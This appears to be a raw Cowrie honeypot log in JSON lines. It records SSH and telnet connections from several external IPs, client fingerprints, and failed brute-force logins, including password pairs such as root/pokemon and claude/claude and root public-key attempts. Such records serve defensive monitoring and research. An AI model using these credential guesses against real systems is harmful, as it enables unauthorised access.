{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:26.400270Z","src_ip":"109.237.96.109","session":"994b594a1cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:27.074968Z","src_ip":"109.237.96.109","session":"994b594a1cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:28.169346Z","src_ip":"109.237.96.109","session":"994b594a1cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41634,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d529fad6c11","protocol":"telnet","message":"New connection: 192.119.13.58:41634 (10.17.0.5:23) [session: 0d529fad6c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:35.291890Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":50666,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ac932d8407e","protocol":"ssh","message":"New connection: 35.225.56.202:50666 (10.17.0.5:22) [session: 8ac932d8407e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:35.686479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:35.691247Z","src_ip":"35.225.56.202","session":"8ac932d8407e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:35.729407Z","src_ip":"35.225.56.202","session":"8ac932d8407e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:35.900393Z","src_ip":"35.225.56.202","session":"8ac932d8407e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":38156,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47be8747e0f","protocol":"ssh","message":"New connection: 43.135.177.217:38156 (10.17.0.5:22) [session: e47be8747e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:36.482858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:36.488529Z","src_ip":"43.135.177.217","session":"e47be8747e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:36.558870Z","src_ip":"43.135.177.217","session":"e47be8747e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.02262616157532,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:36.683430Z","src_ip":"192.119.13.58","session":"612241f95056","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hwang","message":"login attempt [root/hwang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:36.866462Z","src_ip":"43.135.177.217","session":"e47be8747e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:36.938837Z","src_ip":"35.225.56.202","session":"8ac932d8407e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:37.938297Z","src_ip":"43.135.177.217","session":"e47be8747e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":61240,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aa849106c17","protocol":"ssh","message":"New connection: 108.181.22.199:61240 (10.17.0.5:22) [session: 0aa849106c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:41.583168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:41.590908Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:41.667984Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:f3:b8:31:f5:e5:4e:f0:7b:6b:cc:fd:2f:4b:a0:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5TvKigQ3RRlNa+2PNMELI30NP3XH5tD99yDcs+/6vICzcrENJjEOyxHElFaxUaq0JLTB/D7A6mJIbm5yfT4aJUiQaIcplOforKZ6ZVIRrwJvWtS6ETZ+xe0CnJyY00NJGECxp4QIivkF2hF9Eje1HQXKtmms0ze8EWXF2fgJ6PuXl3FRdxIHbfoZLx7X3BKD+5TLjA3WdiMOkZvJC7BNU0LHvsrbP6faS6FnAMhAFkNfYJvldG6AIfPg4gJjJVMZ95L9bgR1PGX55qpPKGeU/bOkVcl5WQaoJ2PXeJxoE8HRdioWo3CDhrR44IkckOUBkrkzZB1JKgFlFXBhOnYTgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:f3:b8:31:f5:e5:4e:f0:7b:6b:cc:fd:2f:4b:a0:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.023250Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:f3:b8:31:f5:e5:4e:f0:7b:6b:cc:fd:2f:4b:a0:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5TvKigQ3RRlNa+2PNMELI30NP3XH5tD99yDcs+/6vICzcrENJjEOyxHElFaxUaq0JLTB/D7A6mJIbm5yfT4aJUiQaIcplOforKZ6ZVIRrwJvWtS6ETZ+xe0CnJyY00NJGECxp4QIivkF2hF9Eje1HQXKtmms0ze8EWXF2fgJ6PuXl3FRdxIHbfoZLx7X3BKD+5TLjA3WdiMOkZvJC7BNU0LHvsrbP6faS6FnAMhAFkNfYJvldG6AIfPg4gJjJVMZ95L9bgR1PGX55qpPKGeU/bOkVcl5WQaoJ2PXeJxoE8HRdioWo3CDhrR44IkckOUBkrkzZB1JKgFlFXBhOnYTgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.027115Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:43:72:52:38:52:97:5d:ee:cf:6b:ce:5c:2e:81:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzBtVQ4IICItNM3JbeRddYerC/veHT99qOLWixg6PoBWxiqW1jIyT8uZczePCcD1mZcK/7GyVY9JZ+L2I8GuZ78Yxuo64m/AeIK3BhDT1ag8wjMQB6Lk+LofuRfrgIr4GQUkYMaozYIFvQ1hzaFFdttO0xq8wLzoqiMmbA353UcrE6iSb3jvKV7tfZhRAKB3YWkMsxUPTkbLzCPlCqZsOtVZ09fxn29LpxUY1KUBizgBKStqVxGHsVPpPvAvVSfTBhuumBlH0YAGeCo3Vww/3R/ftkXNzQ0tmFRSsfnszbj9vzKfZyY7V8wJXxL/JolJt4M9zpOrJd1zF6QCWil34bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:43:72:52:38:52:97:5d:ee:cf:6b:ce:5c:2e:81:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.103409Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:43:72:52:38:52:97:5d:ee:cf:6b:ce:5c:2e:81:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzBtVQ4IICItNM3JbeRddYerC/veHT99qOLWixg6PoBWxiqW1jIyT8uZczePCcD1mZcK/7GyVY9JZ+L2I8GuZ78Yxuo64m/AeIK3BhDT1ag8wjMQB6Lk+LofuRfrgIr4GQUkYMaozYIFvQ1hzaFFdttO0xq8wLzoqiMmbA353UcrE6iSb3jvKV7tfZhRAKB3YWkMsxUPTkbLzCPlCqZsOtVZ09fxn29LpxUY1KUBizgBKStqVxGHsVPpPvAvVSfTBhuumBlH0YAGeCo3Vww/3R/ftkXNzQ0tmFRSsfnszbj9vzKfZyY7V8wJXxL/JolJt4M9zpOrJd1zF6QCWil34bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.107217Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:37:c9:bc:23:eb:ad:45:4d:72:11:b1:00:b8:96:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrGjL/f6fVa8nnmNBNG8XvRgw2/GlWzXzZvIhvyXR4T582vRV/p6LXIGJoVk38VRGEClI8QvQ7DSvf76gieaszbvxGhd9scGflFrN4H+FF7ygz9S80zk2aOlGGwQgt5oLmhHsbx/fBxv3ewQSXWvid+0PnlYgsvHP3l0JYXGIbePdVXMZq0qqqGDX4eyczwLh8yVhFwqM9RRGSgH2uSFP3hVSBqGYzXm0AOtwdV7MoQSRRf91fXXMqP1QQy+5ORKoRzqW9UG1ma3FokLMKq9bzDgkctS3tMIm3JfHYt1XtaOAdFvJF7n6FWqYA04TtbjI2TVW4v5wChje/BWIcuw1yngSewBKd7ptVYvXgMpi3OMBH8/7lR81F7cu569t3dpZFvyK1mesp0v5T1g1BZrU7QAY870GQoewttILBQH3W9pR2nuL5CXaOMt7J1gEnjZRLmF6tpKFTABwCa00RgctJxot6GRoNkYypdt4ixO9n9v/Px7Sm/Q+Ht9C+GDLaJyLIe3OGaCOtETteI/7GoDNY3cYmlnW8Yzkt62+/tsezvm5/NWqpwN5+L7z/Hb2DdfvSJHLoR7aBE8kEQsA4R9Td48iH/knqLd4FGEk8+a9t1HOI46VGQbd5IhptLHipnUv+BfvMLY89MnHAU+oapxJQwdt2lK8UIewZEo5SliReww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:37:c9:bc:23:eb:ad:45:4d:72:11:b1:00:b8:96:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.183094Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:37:c9:bc:23:eb:ad:45:4d:72:11:b1:00:b8:96:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrGjL/f6fVa8nnmNBNG8XvRgw2/GlWzXzZvIhvyXR4T582vRV/p6LXIGJoVk38VRGEClI8QvQ7DSvf76gieaszbvxGhd9scGflFrN4H+FF7ygz9S80zk2aOlGGwQgt5oLmhHsbx/fBxv3ewQSXWvid+0PnlYgsvHP3l0JYXGIbePdVXMZq0qqqGDX4eyczwLh8yVhFwqM9RRGSgH2uSFP3hVSBqGYzXm0AOtwdV7MoQSRRf91fXXMqP1QQy+5ORKoRzqW9UG1ma3FokLMKq9bzDgkctS3tMIm3JfHYt1XtaOAdFvJF7n6FWqYA04TtbjI2TVW4v5wChje/BWIcuw1yngSewBKd7ptVYvXgMpi3OMBH8/7lR81F7cu569t3dpZFvyK1mesp0v5T1g1BZrU7QAY870GQoewttILBQH3W9pR2nuL5CXaOMt7J1gEnjZRLmF6tpKFTABwCa00RgctJxot6GRoNkYypdt4ixO9n9v/Px7Sm/Q+Ht9C+GDLaJyLIe3OGaCOtETteI/7GoDNY3cYmlnW8Yzkt62+/tsezvm5/NWqpwN5+L7z/Hb2DdfvSJHLoR7aBE8kEQsA4R9Td48iH/knqLd4FGEk8+a9t1HOI46VGQbd5IhptLHipnUv+BfvMLY89MnHAU+oapxJQwdt2lK8UIewZEo5SliReww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.187153Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:e5:75:fa:45:65:f0:47:24:18:01:bf:7d:92:ea:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh7nzM//I2EjT2THowQH9NfnExrh9XnVKOgONcWzyb36J8J/9eTAZKWB/TVqqskVJsGkDr3Qs2veQBY5lO/RK0NIo6QlmDFKfH0L/4N19bWm+47D0jIxrj1OatLAnEyiRQysCGUDTi/j5XwgeXGkV/BLUx2dlvCPD5OZvWnH+ZbY88r9TNATNb8CpAhfrTmbBLa90AblDWz8mtMATiz8yX/8lBCngTf9kasKthV7K278mKBOz5Vk64lq+OSxAV+/KAljda9rjKF8Cs9lQuuAtdLlFV3CmrgZ4Tq3AixgwL7unuy5QeME0Ri0EY86bK2f5jZl9iFLzwru98KzEaOTJvo0+IRcN1LReHLhkfEvFmjD2fnAOAIJnobV62/XEW/xhBqK2UCsggNGz3s322w6hsiP8rBzNwvG+2xYkkmJU02MbVIiIuHBMeiMDNIfBr5uZSZIcH3h2Aor6jnVdIui4j4qpUnBFxx99IahECROYca0vEA0zSzC85hqdchoYxclvyIlXULKXHdJdkOU8mXWv+A58Hmaiallwr2fBeP4ZTd5tMYYb92gOETMnzAEooUluGUuExNDt3jRSwPjDez5KOOTobbljlH94ELXkXzsJxfdcI3xPWQyi70cebIW0r0IUIPztygNMMWfroQY6G3zxJcax3wUFGUC3UZ1/8w40Ksw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:e5:75:fa:45:65:f0:47:24:18:01:bf:7d:92:ea:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.264883Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:e5:75:fa:45:65:f0:47:24:18:01:bf:7d:92:ea:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh7nzM//I2EjT2THowQH9NfnExrh9XnVKOgONcWzyb36J8J/9eTAZKWB/TVqqskVJsGkDr3Qs2veQBY5lO/RK0NIo6QlmDFKfH0L/4N19bWm+47D0jIxrj1OatLAnEyiRQysCGUDTi/j5XwgeXGkV/BLUx2dlvCPD5OZvWnH+ZbY88r9TNATNb8CpAhfrTmbBLa90AblDWz8mtMATiz8yX/8lBCngTf9kasKthV7K278mKBOz5Vk64lq+OSxAV+/KAljda9rjKF8Cs9lQuuAtdLlFV3CmrgZ4Tq3AixgwL7unuy5QeME0Ri0EY86bK2f5jZl9iFLzwru98KzEaOTJvo0+IRcN1LReHLhkfEvFmjD2fnAOAIJnobV62/XEW/xhBqK2UCsggNGz3s322w6hsiP8rBzNwvG+2xYkkmJU02MbVIiIuHBMeiMDNIfBr5uZSZIcH3h2Aor6jnVdIui4j4qpUnBFxx99IahECROYca0vEA0zSzC85hqdchoYxclvyIlXULKXHdJdkOU8mXWv+A58Hmaiallwr2fBeP4ZTd5tMYYb92gOETMnzAEooUluGUuExNDt3jRSwPjDez5KOOTobbljlH94ELXkXzsJxfdcI3xPWQyi70cebIW0r0IUIPztygNMMWfroQY6G3zxJcax3wUFGUC3UZ1/8w40Ksw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.270954Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:fe:c9:20:f1:b5:69:71:93:e6:c6:1b:77:80:41:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkBYhTE1P4zBuBZ9iUiwZM/hqFni3crz5IekQbSszLeDHkW/IVLK0tb9e/Ej5XLmQTtpeI5UFZs4v3CL92YNoSMYpdDqjpn+tHXwodnE97/fr4p6PkXH1dvlivGzVd4K9UOtPuzDIAvxdso44fGXQimYtSw7WZbnrqp3VLZURUpBvmTsMDpPVyKk8GAFVfVFQU+yr58oh/Xor6Zrb53Tef4ugRaGw1eg36tTfQP6iDaVI26Wt7wDgZj6v7OrtJmPWvN/8EP9JrmJUmqOPLOPllF4B+3tjupwawodZwnYswALYEEqRoELfWFp+64FjM+iGcRfo72cEvB+BKV8WpQzUufy8Z9svli9wR/EBK5VHUUCXT5bRhI8RfdkUh7udEddVL+xFJdtKkijKb8JM7NhP8cZiTx+valVf9AYwwSNRIMRed6asj2IxsBUCmnxTMIhKcaGuwIc5r/gwnfBLfcF3CzvxtOV7bqYmuxbdh7R4AMB7ZgUhx/KCgb9fvLbLDzXHBGS/ZGX7E7inpJLNuzcwXSUt/HMntm18oMv1ODe5lZ+cR+XrrCIomZQtuuzmEBRI37nxBlL8fbm/004bXTzAlyreovuQUKszh/Ob5KF749G+nJLUub1MJb3Tjl7NiVjIxckz+nn66RxhGWaC5vMbDM3AmcJPCK8+OrRAsUf68mQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:fe:c9:20:f1:b5:69:71:93:e6:c6:1b:77:80:41:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.347028Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:fe:c9:20:f1:b5:69:71:93:e6:c6:1b:77:80:41:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkBYhTE1P4zBuBZ9iUiwZM/hqFni3crz5IekQbSszLeDHkW/IVLK0tb9e/Ej5XLmQTtpeI5UFZs4v3CL92YNoSMYpdDqjpn+tHXwodnE97/fr4p6PkXH1dvlivGzVd4K9UOtPuzDIAvxdso44fGXQimYtSw7WZbnrqp3VLZURUpBvmTsMDpPVyKk8GAFVfVFQU+yr58oh/Xor6Zrb53Tef4ugRaGw1eg36tTfQP6iDaVI26Wt7wDgZj6v7OrtJmPWvN/8EP9JrmJUmqOPLOPllF4B+3tjupwawodZwnYswALYEEqRoELfWFp+64FjM+iGcRfo72cEvB+BKV8WpQzUufy8Z9svli9wR/EBK5VHUUCXT5bRhI8RfdkUh7udEddVL+xFJdtKkijKb8JM7NhP8cZiTx+valVf9AYwwSNRIMRed6asj2IxsBUCmnxTMIhKcaGuwIc5r/gwnfBLfcF3CzvxtOV7bqYmuxbdh7R4AMB7ZgUhx/KCgb9fvLbLDzXHBGS/ZGX7E7inpJLNuzcwXSUt/HMntm18oMv1ODe5lZ+cR+XrrCIomZQtuuzmEBRI37nxBlL8fbm/004bXTzAlyreovuQUKszh/Ob5KF749G+nJLUub1MJb3Tjl7NiVjIxckz+nn66RxhGWaC5vMbDM3AmcJPCK8+OrRAsUf68mQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.350642Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:42.427329Z","src_ip":"108.181.22.199","session":"0aa849106c17","protocol":"ssh"}
